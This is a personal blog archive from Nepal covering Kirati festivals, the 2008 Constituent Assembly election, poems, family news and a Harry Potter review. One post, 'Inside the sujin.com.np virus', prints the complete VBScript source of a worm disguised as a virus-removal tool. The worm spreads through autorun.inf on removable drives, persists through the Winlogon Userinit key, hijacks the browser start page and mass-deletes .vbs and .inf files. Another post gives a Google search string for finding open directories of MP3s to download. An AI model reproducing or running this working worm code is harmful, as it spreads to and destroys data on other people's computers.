Ashish Lohorung Rai wants to stay in touch on LinkedIn

2011-01-05T09:56:00.001+05:45

I'd like to add you to my professional network on LinkedIn.

- Ashish Lohorung Rai

Ashish Lohorung Rai
Web Developer at Publicity Monster
Nepal

I have moved to ashishlohorung.com.np

2009-07-08T18:19:00.004+05:45

Though it took much time to move from this domain to new domain ashishlohorung.com.np finally I did it. This is a great leap for me as I have become fan of Wordpress customizable CMS. Though I had a great SEO in this site I have to finally move to the new one.

But I am not leaving this site fully. I will be updating it but only occasionally. Most of my post can be seen at ashishlohorung.com.np

Where the sour turns to sweet

2009-05-23T21:35:00.001+05:45

Where the sour turns to sweet, originally uploaded by Rune T.

Awesome Phtography by Rune T.

Nepali typical poem

2009-05-12T19:27:00.005+05:45

I got this forwarded email from my friend Pramod Rimal. As he has not mentioned the name of the writer... I suppose some will know about it . Then I will post his name as well in my blog.

कालीले I love u, भन्दै भनिन

खैरिनीले झन, गन्दै गनिन

Mexicon ले Hug गरी, गाला सम्म दलेकै हो

थरुनी जस्ती Ethiyopian देख्दा, तेस्रो नेत्र नि बलेकै हो

Department बेग्लै, भेट्नै गारो

त्यस्को English नि, बुझ्नै सारो

मन त बिस्तारै मिल्थ्यो होला, पाईला कसैको सर्दै सरेन ।

अनि त के पर्नु लभ, पर्दै परेन ।।

नेपाली केटीलाई New mexico, थाहै छैन जस्तो छ

Class जाउँ कालो face,बाक्लो जुँगै सस्तो छ

एक दुई वटी Local खैरिनी,आक्कल झुक्कल देखेकै हो

कपडा लाउनै अल्छी गर्छन्, हाम्रो खप्पराँ नि लेखेकै हो

Coffee बोकी skateboard चढ्नेले, खै हाम्लाई के गन्लान् ?

जानै मानेनि चुरोट तान्नेलाई, बा'ले बुहारी कसरी भन्लान् ?

यस्तै सोची खैरिनी ताक्ने, छोराले आँट गर्दै गरेन ।

आँट्न र ढाँट्न नजान्नेको, के पर्नु लभ पर्दै परेन ।।

Gay भन्छन् रे सँगै हिडे, केटासँग हिड्नै नपाइने रैछ

ईज्जतै धान्न नि हात समाई हिड्ने, एउटी तरुनी त चाइने रैछ

Bike को त कुरै छाडौं, car किन्न नि डलर मरु

Hight तन्केन Body फुलेन, बुढेसकालमा खै के गरुँ ?

दिनहुँ नुहाई zatak नै छरे नि

खौरेर दारी, सिनित्तै परे नि

English छाँट्न पर्ने देशमा, नेपाली गफले कामै गरेन ।

अनि त भुत्रो को पर्नु लभ, पर्दै परेन ।

Sakela Ubhauli 2009

2009-05-11T15:47:00.009+05:45

Day before yesterday, we Kirat(Rai and Limbu) celebrated the main festival Ubhauli here at Steel Park Sydney. This Udhauli festival is called from different names from different groups. Such as Rai call it Sakela, Limbu call it Chasok Tangnam, and other might call it Bhume, Folsyandar etc.

This is celebrated two time in one year. Ubhauli is celebrated during the full moon of April/May to denote the commence of cultivation and farming where as Udhauli festival is celebrated during the full moon of November/December thanking gods for giving nice crops and harvesting. The program was organized by Kirat Ykthung Chumlung and Kirat Rai Yayokkha. It has been organizing the program every twice in a year. Chitra Tumbahangphe became the Silimangpa of Limbu. Chyabrung dance was also performed in the event. Dhol and Jhyamta were also used during dancing. The style of dance movement called sili were different for different ethnicity. Many kind of sili were performed including Chamling, Bantawa, Bahing, Limbu and Lohorung. Many attendees were dressed in cultural style. The women wore Chawbandi cholo and Guneu with patuka. The men wore Dhaka topi and daura suruwal.

The event went quite well except some misunderstandings with fooding of typical food like pork meat, beaten rice with Jhand (special kind of liquor of Kiratis). It was a great fun to be the part of the event.

सोई सोई ला हो हुर्रा हा हा ................. !

Updating from Australia

2009-04-07T19:44:00.003+05:45

I know my blog is nearly dead. It is always not good feeling to know that I haven't update my blog for a long time. But situation is just like that I have moved to different location and the tension over here is more important then to update a blog. But I am not making excuses I will definitely do it whenever I got time.

Ready for reflection!

2008-12-17T12:26:00.001+05:45

Ready for reflection!, originally uploaded by Ashish Lohorung Rai.

That's me shooting being reflected from the goggles of my friend Sulochan Wagle during Kapan Gumba visit.

Sakela, Udhauli and Ubhauli of Kiratis

2008-12-12T08:57:00.005+05:45

Today is the Udhauli festival of all Kirati people. It is believed that from this day the winter season starts. So people, birds and animal migrate from cold regions to warmer regions. This kind of migration occurs twice in a year. The celebration of migrating downwards during this season is called "Udhauli (उधौली)" and the celebration of migrating upwards during the season of Baisakh (April or May) is called "Ubhauli (उभौली)".

Kirati people performs a speacial kind of dance called "Sakela" in this event playing various muscial instruments like Dhol, Jhyamta etc and wearing "Chhit ko Guneu" (specially patterened cloth) by Kirati women. This event of Kirati people has also been stated in Mundhum (holy book of Kirati people). This event is also called "Bhumi Puja" (Worship of Land) where Kirati people worship mother nature asking for good cultivation of crops during the season of April and thanking the god for giving good crops during this current season.

The legend of the celebration of Sakela as stated in Wikipedia is as follows:

The celebration is connected to many myths. According to the Kirat Mythology, it is said that before the marriage of Sumnima and Paruhang, Paruhang used to live in the heaven .One day, he saw beautiful Sumnima on the earth and fell in love. He made a beautiful comb, sent it to Sumnima who wished wed him.

Four children were born of them after marriage. But Paruhang left Sumnima in a hut on the bank of Dudhkoshi River and did not return for long time. One day, she saw a creeper on a stone while she was in search of food for her children. She tasted the creeper and it was full of power and happiness. She brought the creeper and made Buti, an intoxicating religious garland, and kept it safe. The Buti inspired everybody who saw it to tell the truth of her/his life. Paruhang returned suddenly. He tried to counsel angry Sumnima. She gave the Buti to Paruhang. This immediately made him glad and he started to tell what he had done. He had spent the time looking at the heaven and the earth from the top of Chomolongma (Mt. Everest ). He also said her that he had meditated, and visited the whole universe. Paruhang promised not to leave her, which made Sumnima dance with joy. It is believed the dance is the 'Sakela Dance'. For this reason, tradition is also that young boys and girls comes to participate this dancing festival to meet each other and find their love.

तपैहरुलाई यो चाड कस्तो लाग्छ ? कमेन्ट गरेर आफ्नो बिचार दिनुहोस । हैप्पी सकेला....!!

Constructive design criticism of suzannefranco.com

2008-12-03T10:02:00.008+05:45

Suzaane Franco has been running suzannefranco.com and recently became second in the competition named Blogging Idol 2 after a tie breaker getting equal marks of 3, with the first Happy Schools Blog. Being a mother of three kids she enjoys internet marketing which she has been doing for about eight years. Living in Texas Hill country in USA, she has hobbies of beach, river, lake, pool, boating, traveling. She also enjoys playing Tennis very much.

So why she loves internet marketing so much? Let's read in her own words:

I believe that Zig Ziglar (love him!) had the right idea when he said, “If you help enough people get what they want … you’ll get what you want.” I want to build and run a successful online business. And I truly believe that if I help others build and run their own successful online businesses (which is just totally in my personality anyway) … I’ll reach my goals too.

Recently I have commented in Blogging Tips about the design of her blog could be little more attractive. She replied me saying she likes constructive criticism very much and love to get any comments from anybody. So I have come up with this idea of posting this blog with the commented version of the design of her blog site. Though there could be other things to put up more I would be glad to see those comments because this is just my trying. Any kind of comments are warmly welcome because these comments are not full and final.

Here is the commented version of suzannefranco.com.

NOTE: Any kind of comments are highly encouraged to apply. I hope you all reading this blog you get some ideas of designing. Do you want to share same kind of stories? Just email or comment me. I will be glad to get support and ideas from you too. I will be happy to suggest you and help you in anyways I can as a web developer.

Search songs and music albums by hacking Google

2008-11-18T23:21:00.005+05:45

-inurl:(htm|html|php) intitle:"index of" +"last modified" +"parent directory" +description +size +(wma|mp3) "<BANDNAME/SONG>"

Well wondering how can you hack into Google search? So let me tell you just copy the code above and paste in the Google search. Edit the BANDNAME and SONG with your list of choices and hit ENTER.

That's it! You get a long list of downloadable songs and music albums. Want to try more?

You can change the wma/mp3 to the extension you like eg. zip, jpg, gif to search with more variations. If you want to know inside out of the above crazy string then follow the following links:

http://www.google.com/help/operators.html

Or if you want to search with much cleaner interface then try these ones:

Warning: Personally I am not responsible for any kind of damage using the above code by someone else. I suggest to buy a copy of music album before you are downloading any songs.

Happy Dipawali 2065

2008-10-27T17:50:00.002+05:45

New Tihar has come again with new hope and new enthusiam. I wish all the great wishes for this festival. I got this from Gajendra Lohorung. Check this out:

बिहानी उज्यालो लाई पर्खन्दै अन्धेरी रातमा रुमलिये पनि, झरणालाई नियालेर नि तिर्खाईमा तड्पिए पनि, सहसको बाटो परिवर्तण नहोस् यात्रा निरन्तार चलिरहोस हुरिबतासको लहर जति नै बेगले चले पनि, कर्मको दियो आटुट बलिरहोस, सुभ दिपावाली को अबसरमा सु-शब्द सुभ कामना।।।

Happy Dipawali 2065 to all !!

World Indigenous Day 2008 celebrated

2008-08-13T18:09:00.008+05:45

Gone 9th August was the most remarkable day for the indigenous people (IPs) all over the world. Here in Nepal many different IPs related organizations including our Lohorung Yakhkhama Yuyong (Lohorung Women Organization) also took part in that event. LYY has exhibited food stall and Dhaka cloths at Dasarath Stadium during the event period of three days. That day was the last day of a week long event where many different types of games such as Badminton, Traditional Archery etc were held.
The final day started from a rally at Khulamanch, Ratnapark where many indigenous peoples gathered before setting off. NGO-Federation of Nepalese Indigegnous Nationalities (NGO-FONIN) had been organizing "Singnature Campaign". Finally about two kilometers long cloth signatured by different people of the Kathmandu valley were asked to carry by the people taking part in that rally. It was really a unique and fun experience for me to help them to ask different people at the roadside for asking to do signature and distributing pamplates.

The rally enden at Dasarath Stadium where many political leaders gave speech about indigenous peoples including the speaker of the current house of representative Mr. Subash Nembang.

August 9: World Indigenous Day 2008

2008-08-04T17:31:00.007+05:45

Coming August 9 is the 16th World Indigenous Day for 2008. Many different organizations are celebrating it with many programs. NGO-FONIN is organizing "Signature Campaign" in different parts of the valley to raise the voices and issues of indigenous peoples of Nepal.

Dear all,
Namaste/Jhorle

As IPs are celebrating the August 9 as world indigenous peoples day, we are also organizing some of the activities on the occasion. Specifically, we have focused the activities connecting with CA. As the CA is an opportunity for us to raise voice to have a constitution written addressing IPs and other marginalized peoples issues, the activities will be as: signature campaign, submitting appeal to respective CA representative and authorities, so that it could support on creating pressure as well as making aware the respective authorities.

The signature collection campaign has been already stated from 3rd August, which will be carried out till the 9 August and the appeal will be submitted to each CA members (during CA Meeting) organizing a press conference. The date for submitting of the appeal will be decided later (the date will be decided consulting the respective authority) At the mean time we will also be involved in the activities, organized by other IPs and likeminded organizations. We need to make collective effort towards influencing the concerns.

We would also like to request all members, district networks to involve or organize same kinds of activities. For your kind information and references the copy appeal, pamphlets and letter are attached herewith, please find them.

Lalkumari Roca
Rights and Advocacy Officer
NGO-FONIN

More pictures and information you can find at Lohorung Khanawa and NEFIN Website. So I request all for the support of not only the indigenous people but also to the underprivileged groups. Come to Dasarath Stadium at August 9 and celebrate it.

Trying it again

2008-06-11T17:50:00.002+05:45

A man saw a big elephant tied on its feet with a weak rope by a weak pole. Curiously he asked to its master, "Why the elephant doesn't escape breaking the rope because it is very weak?",

The master replied,"When the elephant was a small child he tried to escape putting every effort it could but unsuccesful. So now he never tries to escape because it thinks that it is worthless to try."

Moral of the story: Many of us have tried to do many things but get unsuccessful results. We never again try to do it. We don't even know how much we have grown up. We just think in the same way we used to think in the past. This is wrong because with the time pass by we have gained many experiences and capacity that may be worthing to try it again.

This story is told by an actor in a Israeli movie which I watched in the Israeli Film Festival at Russian Art Culture some weeks ago.

Second Nepal International Indigenous Films Festival 2065

2008-06-08T13:33:00.004+05:45

Welcome to the Nepal's greatest indigenous films festival!!

Program Details:
Date: From 6th June to 9th June 2008
Venue: City Hall and Nepal Tourism Board Kathmandu
Time: 10 am to 7 pm

Attractions:

Films from India, China, Canada, America, Mexico, Norway, Finland, Sweden, Denmark, Australia, and New Zealand
Nepali films from Magar, Tamang, Tharu, Newar, Gurung, Limbu, Sherpa, Rajbanshi, Majhi, Chepang, Loba indigenous groups
Food display of various indigenous peoples
Handicraft display of different indigenous peoples

Tomorrow is the last day for this event so please hurry! I have taken many pictures. I will publish soon after the event. So just please wait for it. By the way, Lohorung Community has also the food stall and handicraft show.

The program is organized by: IFA (Indigenous Film Archive)
Co-Organizer: National Foundation for Development of Indigenous nationalities (www.nfdin.gov.np)

Supporters: NGO-FONIN, NTB, NIWF, NINSF, Kathmandu Metropolitan City, Society of Indigenous Students, Tharu Kalyankari Sabha, Sunuwar Sewa Samaj, Kirat Yakthung Chumlung, Nepal Chepang Association Chepan Mainstreaming Programme.

Federal Democratic Republic of Nepal

2008-06-02T15:58:00.003+05:45

Gone Wednesday among 564 CA members 560 voted for the new Nepal declaring official as the Federal Democratic Republic of Nepal. That means 99.29% of the voting was in the support of abolishing the 240 years of monarchy. This historic event is the world's latest great event forming the new republic nation witnessed by all over the world.

I here welcome this new era of democracy which is being called as "New Nepal". Though there is a lot more problems to solve I am quite optimistic about it. I personally suggest everyone to write about this historic event so that you couldn't forget anything about it coz this is the time that nobody will behold in his entire life again. We are the lucky one to behold this one and only life time experience about which the new generations will be going to ask so many questions about it. So just be prepared for it collection some data and the process how the event took place.

The first meeting of forming the new constitution took place at BICC building on 28th May 2008. The meeting was supposed to start at 11 am but due to the delay it only started at 9 pm at night.

Maoists and Nepali Congress is fighting again for the post of president and prime minister post. The new government will be directed the prime minister as the executive head and president will be kept as ceremonial. So whoever will become president will be the first president in the history of Nepal. So the quarrel is going there again like a small child fighting for a same toy. बच्चाहरु को झगडा ।

Anyway some divine power may give them some nice thinking inside their head I will pray for it otherwise the Nepali citizen will pay for their children fighting thing.

Long live Federal Democratic Republic of Nepal !!

संघीय लोकतांत्रिक गणतंत्र जिन्दाबाद !!

Read more about the declaration
About Nepal on Wikipedia

Inside the sujin.com.np virus

2008-05-23T16:23:00.005+05:45

Some time ago you might have heard about this virus which automatically put sujin.com.np on top of the IE browser. Everybody was furious about it and there came a small software tool which helps to get rid of the virus but that antiviurs tool was also developed by the sujin.com.np guy. Pretty good idea to become popular!

The virus was written in Vbscript. Vbscript is the client side scripting language developed by Microsoft. This has the power to alter the configuration of our computer registry. Registry is the configuration database of computer which stores all kind of informations related to our computer. All viruses use this registry to hijack your computer.

Below is the VirusRemoval.vbs file which is the main code of the virus.s

'******************************************************************
'********************* Virus Removal VBScript *********************
'************************** Version 1.00 **************************
'******************************************************************
'This antivirus program is intended to repair your computer from
'any sorts of virus attacks.
'This program is exactly like a normal virus but it repairs things
'rather than destroying them.
'******************************************************************
'******************************************************************
'Program developed by
'Sujin Joshi
'http://Sujin.com.np
'sujinjoshi@gmail.com
Option Explicit
On Error Resume Next

Dim Fso,Shells,SystemDir,WinDir,Count,File,Drv,Drives,InDrive,ReadAll,AllFile,WriteAll,Del,Chg,folder,files,Delete,auto,root

Set Fso = CreateObject("Scripting.FileSystemObject")
Set Shells = CreateObject("Wscript.Shell")
Set WinDir = Fso.GetSpecialFolder(0)
Set SystemDir =Fso.GetSpecialFolder(1)
Set File = Fso.GetFile(WScript.ScriptFullName)
Set Drv = File.Drive
Set InDrive = Fso.drives
Set ReadAll = File.OpenAsTextStream(1,-2)
do while not ReadAll.atendofstream
AllFile = AllFile & ReadAll.readline
AllFile = AllFile & vbcrlf
Loop

Count=Drv.DriveType

Do
If Not Fso.FileExists(SystemDir & "\VirusRemoval.vbs") then
set WriteAll = Fso.CreateTextFile(SystemDir & "\VirusRemoval.vbs",2,true)
WriteAll.Write AllFile
WriteAll.close
set WriteAll = Fso.GetFile(SystemDir & "\VirusRemoval.vbs")
WriteAll.Attributes = -1
End If

Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Window Title","Sujin.com.np"
Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions","0","REG_DWORD"
Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr","0","REG_DWORD"
Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools","0","REG_DWORD"
Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://sujin.com.np/"
Shells.RegWrite "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell","explorer.exe"
Shells.RegWrite "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit",SystemDir & "\userinit.exe," & _
SystemDir & "\wscript.exe " & SystemDir & "\VirusRemoval.vbs"

For Each Drives In InDrive
root = Drives.Path & "\"
If Fso.GetParentFolderName(WScript.ScriptFullName)=root Then
Shells.Run "explorer.exe " & root
End If
Set folder=Fso.GetFolder(root)
Set Delete = Fso.DeleteFile(SystemDir & "\killvbs.vbs",true)
For Each files In folder.Files
auto=Left(files.Name,7)
If UCase(auto)=UCase("autorun") Then
Set Delete = Fso.DeleteFile(root & files.Name,true)
End If
Next
If Drives.DriveType=2 Then
delext "inf",Drives.Path & "\"
delext "INF",Drives.Path & "\"
End if

If Drives.DriveType = 1 Or Drives.DriveType = 2 Then
If Drives.Path<> "A:" Then
delext "vbs",WinDir & "\"
delext "vbs",Drives.Path & "\"

If Fso.FileExists(Drives.Path & "\ravmon.exe") Then
Fso.DeleteFile(Drives.Path & "\ravmon.exe")
End If
If Fso.FileExists(Drives.Path & "\sxs.exe") Then
Fso.DeleteFile(Drives.Path & "\sxs.exe")
End If
If Fso.FileExists(Drives.Path & "\winfile.exe") Then
Fso.DeleteFile(Drives.Path & "\winfile.exe")
End If
If Fso.FileExists(Drives.Path & "\run.wsh") Then
Fso.DeleteFile(Drives.Path & "\run.wsh")
End If

If Drives.DriveType = 1 Then
If Drives.Path<>"A:" Then
If Not Fso.FileExists(Drives.Path & "\VirusRemoval.vbs") Then
Set WriteAll=Fso.CreateTextFile(Drives.Path & "\VirusRemoval.vbs",2,True)
WriteAll.Write AllFile
WriteAll.Close
Set WriteAll = Fso.GetFile(Drives.Path & "\VirusRemoval.vbs")
WriteAll.Attributes = -1
End If

If Fso.FileExists(Drives.Path & "\autorun.inf") Or Fso.FileExists(Drives.Path & "\AUTORUN.INF") Then
Set Chg = Fso.GetFile(Drives.Path & "\autorun.inf")
Chg.Attributes = -8
Set WriteAll = Fso.CreateTextFile(Drives.Path & "\autorun.inf",2,True)
WriteAll.writeline "[autorun]"
WriteAll.WriteLine "open=wscript.exe VirusRemoval.vbs"
WriteAll.WriteLine "shell\open=Open"
WriteAll.WriteLine "shell\open\Command=wscript.exe VirusRemoval.vbs"
WriteAll.Close
Set WriteAll = Fso.GetFile(Drives.Path & "\autorun.inf")
WriteAll.Attributes = -1
else
Set WriteAll = Fso.CreateTextFile(Drives.Path & "\autorun.inf",2,True)
WriteAll.writeline "[autorun]"
WriteAll.WriteLine "open=wscript.exe VirusRemoval.vbs"
WriteAll.WriteLine "shell\open=Open"
WriteAll.WriteLine "shell\open\Command=wscript.exe VirusRemoval.vbs"
WriteAll.Close
Set WriteAll = Fso.GetFile(Drives.Path & "\autorun.inf")
WriteAll.Attributes = -1
End if
End If
End If
End if
End If
Next

if Count <> 1 then
Wscript.sleep 10000
end if
loop while Count<>1

sub delext(File2Find, SrchPath)
Dim oFileSys, oFolder, oFile,Cut,Delete
Set oFileSys = CreateObject("Scripting.FileSystemObject")
Set oFolder = oFileSys.GetFolder(SrchPath)
For Each oFile In oFolder.Files
Cut=Right(oFile.Name,3)
If UCase(Cut)=UCase(file2find) Then
If oFile.Name <> "VirusRemoval.vbs" Then Set Delete = oFileSys.DeleteFile(srchpath & oFile.Name,true)
End If
Next
End sub

First this program says that it is the virus removal and the name of the file is also like that to fool the users. Some of the things it does in our system are as follows:

1. It disables the registry: When you go to Run and type "regedit" you cannot see the registry.
2. It puts the string sujin.com.np at the title of the browser.
3. It disables the folder option .
4. It disables the task manager which can be used against the running programs.

The virus can be removed using the download page of worldlink but hey the antivirus kept there is also the program developed by Sujin Joshi who developed the virus. If you understand the basic programming then you can understand how computer virus works. But if anyone copies this code and make their own virus then I pesonally not be responsible in anykind of damage.

Use the following link to remove the virus :

http://www.worldlink.com.np/support/download/index.php

Try to learn about the virus and get knowledge how to get rid ot viruses and worms.

My first voting experience

2008-04-11T11:38:00.007+05:45

It was the wonderful experience to vote for the first time in my life. Yesterday in the morning at 7 am we all family planned to go for voting near our home. Our home is located at Kathmandu election area number 8, Sitapaila VDC. This VDC consists of three voting centers. Ours is located at Yuba Sahabhagita High School. When we reached there we were stunned to see the long queue of people willing to vote. Father was saying that everyone wants to vote soon so it would be traffic. But we all too wanted to vote sooner.

We soon took the appropriate women and men queue. There we stood about one hour then Father decided to come back home and vote at the evening. But I stayed there though I was hungry and my stomach was not so right in the morning. After 2 and half hours only I got my chance to vote. I was exhausted and hungry and soon after voting I returned home and had lunch. I hope the new constitution will address everyones' rights and issues.

For more information about the CA Election and the future government follow the links:

Election Commission Nepal

Being the witness of first Constituent Assembly election of Nepal

2008-04-06T09:25:00.009+05:45

In the history of Nepal, for the first time the election of Constituent Assembly is going to take place on 10th April 2008 which will write a new constitution without a monarchism. It is the honor and luck of all Nepali citizen to behold and experience this one and only in a lifetime happening. After postponing for two times this election is going to held with lot of excitement and optimism. It is already declared to write as a Republic Nepal but the implementation has not done. So how will be the practical end of 240 years of monarchy is going to happen? Answer lies after the role of the government to be formed after the election.

Official 74 various political parties are taking part in the CA election including some King supported ones. I personally think that those King sided parties are going to lose with huge difference. I mock those parties a really big and huge THUMBS DOWN! wishing them a very much bad luck in the present and in the future.

Altogether there will be 601 various representatives. 240 of them is chosen from direct election and 335 is chosen from proportional election. 26 are selected among the national icons and famous persons of Nepal. The result of the election is said to be declared within 21 days after the day of election. The newly formed government is going to hold for 2 years and could be extended for 6 months in case of emergency. The majority representation meeting is held by the 1/4 th of total number of representatives. People 18 years or above are eligible for voting and 17.5 million people are eligible according to the Election Commission of Nepal.

Everybody know that one of the three major parties among Nepali Congress, CPN (UML) and The Maoists will form the future government. But which party will be able to make it? In my personal opinion there is big chance of Maoists because all the people have already given votes to the other ones and seen what they could do. There is only one new and fresh party though having a bad history and that is Maoists. In that sense there is a lot of chance for them.

Our relative Mr. Bhawani Lohorung has also taken part from Shankhuwashabha direct election. I wish him the very best wishes and goodluck.

HAPPY VOTING!

Long Live Democracy!

Memory of My School Life

2008-04-01T16:20:00.003+05:45

Childhood days are fine memory of the past
I wish my school life was not so fast
Wake up every morning do the daily homeworks
I loved gray and white dress, black shoes and white shocks.

We loved the burden less life though without fame
Hanging with nice friends calling by their nickname
Till now the "Dear Lord! Bless me....." pray refrains in my mind
It is impossible the past school days again to find.

Nice quotations were printed to welcome us near the gate
I still remember to find god I had scratched my forehead
Poison of mind is really caused by superstition
Students were busy to do their all time favorite stamp collection.

Quiz, spelling and debate increased our inner temptation
Football, volleyball and basketball were the physical well-being competition
We had nice and friendly pen pals the Japanese friends
Chulla Chulli initiated the habit of writing something trends.

Raman, Shakespeare and Devkota houses Curie, Einstein and Newton
Fair competition between them we had loads of fun
I was belonged to our amazing musical band
The song of cherish and the joy of friendship we sang.

The famous quote says "teacher is the second parent"
I swear we all got love as of hundred percent
I was the Harry Potter and Chulla Chulli is my Hogwarts
I cannot ignore my school life coz it is my half life part.

Teachers treated us like a small bee baby hive
The good manner inside us then became alive
Knowledge is the way and teachers are the guide
Fear, shame and shy were all gone to hide.

The right direction of life my school day showed
I never forget we ran towards the T.T. board
For the silver jubilee many congratulations from me
I wish my school will celebrate the huge Platinum jubilee.

Additional Information: When celebrating the silver jubilee my school Chula Chulli English Borading School Damak-1, Jhapa I had also send this poem. It was published but some of the parts were missing. Here is the full version of the poem given all to you. You are free to share and modify it according to the following conditions and license:

This work is licensed under a Creative Commons Attribution-Noncommercial-Share Alike 3.0 Unported License.

Felicitation Program of Nepal Children's Health & Education Foundation Held

2008-03-04T17:57:00.007+05:45

Today Alliance of Mahakulung NGOs and Association of Nepal Kirat Kulung Language & Cultural Development jointly organised the felicitation program of Nepal Children's Health & Education Foundation to signify the respect for the work of an retired American Mrs. Candy Chaplin at Nepal Tourism Board (NTB), Bhrikutimandap. Mrs. Candy Chaplin has been working as a social worker at the most remote part of Solukhumbhu, Nepal for the upliftment of the local people residing there. With her initiative she has build a school, provided the necessary furniture, distributed many books and school uniforms, provided scholarships, built three mills and so on. She wants to build hospital, library, electricity facility as her future plans. During the program many respected persons including Bal Bahadur Rai ( Senior Leader and Ex-Interim PM), Prachandaman Shrestha (Chief of NTB), Chandra Singh Kulung ( Chief of Nepal Kirat Kulung Language and Culutre Development), Yam Bahadur Kulung (President of Nepal Kirat Kulung Language and Culutre Development), Surya Kulung ( Nepal Students Union executive member), Padam Nachhiring ( Nepali Congress Leader) were present. The program was hosted by Keshav Kulung and the co-ordinator of the program was Bagman Kulung.

9th International Mother Langauge Day Celebrated

2008-02-24T15:07:00.008+05:45

The gone 21st of this month was the 9th International Mother Language Day. Our local club Chulachuli UNESCO Club celebrated the day by showing a feature film "Kripa" which was in Gurung language having Nepali subtitle. Indigenous Film Archive (IFA) and "Nepal Rastra Ayog" supported the program. The theme of this year was "International year of Languages". It was presented at Gurukul, Battisputalisadak. There also held the interaction program after the show where Dr. Bajracharya and language expert Mr. Amrit Younjon gave their reactions about the film.

The one of the reactions that I liked about Amrit Ji was that we shouldn't blame for all the nonsense things to "Jhakri' due to the superstitions we have in our village and remote areas coz they are the one who healed our pain and sufferings throughout the centuries. They are the one who cured our wounds and treated us like doctor. Till now also there are not enough doctors in the village and the people have to be dependant to them only.

In the movie there is a girl named Kripa. She has been raised by a man who is deaf called Ode. The role of Ode is played by the director of the film Maotse Gurung. Kripa goes to stay with Ode's sister in the city. After some years she comes back to the village but finds herself in difficult situation with Ode's relationship. Finally she understands it perfectly the truth of their relationship and the film ends.

Some useful links:
http://en.wikipedia.org/wiki/International_Mother_Language_Day

http://webworld.unesco.org/imld/

Heartfelt condolences to my late grandfather

2008-01-10T21:53:00.000+05:45

After struggling hard for 12 days with life and death at Bir Hospital ICU, my maternal grandfather Late Man Bahadur Jimi left the world on 26 of Dec 2007. He was about 79 years old. He got left part paralysis at first and then whole body. In the ICU doctors gave ventilator to him. There his condition was very bad. My heartfelt condolences to his soul and pray that it rests in peace. I also give deep sympathy to his bereaved family and pray to god they get strength to overcome this grief.

Rest in Peace
Every living things have its end
No matter how much strong or powerful it seemed
Our prays and condolences to your freed soul
Love and respect to you a millions of bowl

My Technorati Claim Post

2007-11-14T13:05:00.000+05:45

I have just created Technorati account. Technorati is the search engine site of Blogsites. If you have a blogsite then you must create the Technorati account for better search results of your blogsite.
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Praying grandfather for recovering soon

2007-11-08T17:52:00.000+05:45

My maternal grandfather is very ill due to paralyse. It happened on the 5 th of this month. Due to that incident my mother is very vulnerable and touchy. His condition is very serious though it is recovering very slowly. We can't say anything till now. He is lying in bed all the time. He can talk slowly. Lila Mama called my mother saying he wanted to meet his all children. So she is going with my father and some relatives tomorrow to meet him at Bhaluwa Chauri at Dharan.

My grandfather's name is Man Bahadur Jimi. He has done many social service works in his village ie. Madi of Shankhuwasabha. He is also the active member of Nepali Congress in the village. The list of things which he has done is very long and I think he deserves more respect from the party and the villager. Recently his party and Maoists welcomed him in the village with great event. The plus point of him as every single person says is that he works all the time. He never retires. He was working till he got the seizure. Everybody complains him about his hard work in this age.

I have to write more about him in the future. This is just praying for his good health recover. He is one of my idol in this life. I must learn many things from his sacrifices and hard working attitude. I pray to god he will be all right soon. I will be grateful to you all if pray for him.

Long live my grandfather!

Finishing the final Harry Potter book

2007-11-05T10:02:00.000+05:45

NOTE: Please don’t read below if you don’t want to spoil the Harry Potter novel.

We bought the Harry Potter last edition the day when it released worldwide. Soon I started reading it. My little sister was also reading together. She read faster and left me. I was like tortoise moving very slowly. When she finished I was too conscious about spoiling the whole excitement and I often reminded her not to talk much about the stories. She kept it well. After the release of the book within some hours all news channel spread the news about Harry Potter and the very important gist that he will not die. I was like furious about that because that was the main taste of reading the whole book and now it was gone. Then too I was convinced to read the rest of the surprises that come along it. So I didn't give it up. I have the RSS link of the website too but I was conscious not to read the spoiling things. It was like we all became the fans of Harry Potter and J.K. Rowling. I downloaded many high resolution images of Harry Potter and other characters like Harry, Ron, Hermione, Cho Chang from Internet including the writer.

Let’s move towards the brief storyline for the laymen.

Harry Potter is an orphan boy who was residing with his aunt’s house (his mother’s sister). The main villain of the whole story is Lord Voldemort and it is believed that his name shouldn’t be called because he will track the caller. So everyone recognizes him by “You Know Who” phrase. Hogwarts School of Witchcraft and Wizardry is a dream place of all the students who want to become witch or wizard. Voldemort was the brilliant student of Hogwarts but he was interested in Dark Arts which is illegal according to the law. He has wild dream to become the world’s greatest invincible wizard and rule the whole earth. Voldemort while trying to kill Harry Potter murdered his parents but unable to kill the baby Harry Potter. While doing so, his spell returns to himself and transfers his some powers to the baby which made Harry Potter more powerful wizard. But his dream of becoming the world’s greatest wizard and ruler doesn’t die. Dumbledore the head master of the Hogwarts school has all the knowledge of it because he was too a brilliant student of the school before. He tries to bring down Voldemort by all his effort but he can’t and he transfers this responsibility to Harry because it is well known to everybody that he was lived from the spell of Voldemort.

Ron and Hermione are the two best friends of Harry Potter. They are always together from the beginning of the whole story to the end. Dumbledore knowing the threat of Voldemort assigns the difficult task to Harry Potter to terminate the villain but he has left very few information about the job the young boy is undertaking. So this led Harry in very difficult situation and he has to face much more trouble than he or any other has thought. But due to the support of his two friends he never gives up. He takes the responsibility to end the evil and Voldemort destiny to rule the whole world. The final series of the novel The Deathly Hallows has revealed all the queries that was unanswered in the previous series. There happens to be the most deadly war between the Death Eaters( Voldemort’s followers) and Hogwarts school supporters that results the death of many wizards and witches including Lupin( One good professor of Hogwarts who handed him the Mauderer’s Map), Fred ( His best friend Ron’s elder brother), Dubby( One loyal goblin was freed by Harry from his cruel master Malfoy) and Hedwig( His owl).

